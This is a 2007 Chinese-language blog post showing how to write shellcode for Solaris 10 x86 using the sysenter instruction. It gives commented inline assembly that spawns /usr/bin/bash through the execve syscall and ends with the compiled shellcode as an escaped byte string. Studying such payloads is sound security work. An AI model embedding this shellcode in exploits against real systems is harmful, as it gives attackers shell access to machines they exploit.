Tuesday, February 13, 2007

Shellcode on Solaris 10 (x86) Using sysenter

lcall $0x07, $0x0是很久以前就在使用的系统调用方式。Intel提供了sysenter快速系统调用指令,如果在shellcode的编写中使用该指令,可以缩短shellcode的长度,让我们试一下。代码如下:
/*main.c
coded by alvin.
alvin.ding@gmail.com
*/

void main() {
__asm__("jmp .+0x24\n\t"); /* 跳转到call指令 */
__asm__("popl %esi\n\t"); /* 字符串的地址放入%esi */
__asm__("movl %esi, -0x8(%ebp)\n\t"); /* 将字符串的地址保存在栈内存中 */
__asm__("xorl %eax, %eax\n\t");
__asm__("movl %eax, -0x4(%ebp)\n\t");
__asm__("subl $0x4, %esp\n\t");
__asm__("push %eax\n\t"); /* NULL字符入栈 */
__asm__("leal -0x8(%ebp), %eax\n\t"); /* 字符串变量地址保存在%eax中 */
__asm__("pushl %eax\n\t"); /* 地址入栈,为系统调用做准备 */
__asm__("pushl -0x8(%ebp)\n\t"); /* 字符串地址入栈 */

__asm__("movl %esi, %edx\n\t");
__asm__("subl $0x0e, %edx\n\t"); /* 返回地址放入%edx中 */
__asm__("xorl %eax, %eax\n\t");
__asm__("movb $0x3b, %al\n\t"); /* 系统调用号0x3b放入%eax */
__asm__("pushl %edx\n\t");
__asm__("movl %esp, %ecx\n\t"); /* 当前堆栈指针保存在%ecx */
__asm__("sysenter\n\t");

__asm__("call .-0x22\n\t"); /* 返回到jmp指令后的指令继续运行,这样做是为了得到本指令后定义的字符串"/usr/bin/bash"的地址 */
__asm__(".string \"/usr/bin/bash\""); /* 我们要执行的shell */

}


这样我们得出的shellcode如下:
static char shellcode[] =
"\xeb\x22\x5e\x89\x75\xf8\x33\xc0\x89\x45\xfc"
"\x83\xec\x04\x50\x8d\x45\xf8\x50\xff\x75\xf8"
"\x8b\xd6\x83\xea\x0e\x33\xc0\xb0\x3b\x52\x8b"
"\xcc\x0f\x34\xe8\xd9\xff\xff\xff\x2f\x75\x73"
"\x72\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";

(编译的方法在前面的文章已经有过叙述)

No comments:

Fast, Safe, Open, Free!
Open for business. Open for me! » Learn More